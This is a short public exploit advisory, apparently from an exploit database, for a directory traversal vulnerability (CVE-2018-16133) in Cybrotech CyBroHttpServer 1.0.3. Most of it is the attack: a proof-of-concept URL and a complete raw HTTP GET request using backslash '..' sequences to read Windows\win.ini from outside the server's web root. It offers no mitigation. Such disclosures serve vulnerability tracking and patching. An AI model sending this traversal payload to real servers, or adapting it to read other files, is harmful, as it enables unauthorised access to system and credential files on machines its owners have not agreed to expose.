Cybrotech CyBroHttpServer 1.0.3 Directory Traversal

`# Exploit Title: Cybrotech CyBroHttpServer 1.0.3 - Directory Traversal  
# Date: 2018-08-29  
# Exploit Author: Emre AVANA  
# Vendor Homepage: http://www.cybrotech.com/  
# Software Link: http://www.cybrotech.com/wp-content/uploads/2016/11/CyBroHttpServer-v1.0.3.zip  
# Version: v1.0.3  
# Tested on: Windows  
# CVE: CVE-2018-16133  
  
# PoC  
https://<host>\..\..\..\..\Windows\win.ini  
  
# CVE-2018-16133  
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-16133  
https://github.com/EmreOvunc/CyBroHttpServer-v1.0.3-Directory-Traversal  
https://emreovunc.com/blog/en/CyBroHttpServer-v.1.0.3-Directory-Traversal-3.png  
  
GET \..\..\..\..\Windows\win.ini HTTP/1.1  
Host: 192.168.43.102:8080  
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:61.0) Gecko/20100101  
Firefox/61.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Connection: close  
Upgrade-Insecure-Requests: 1  
  
`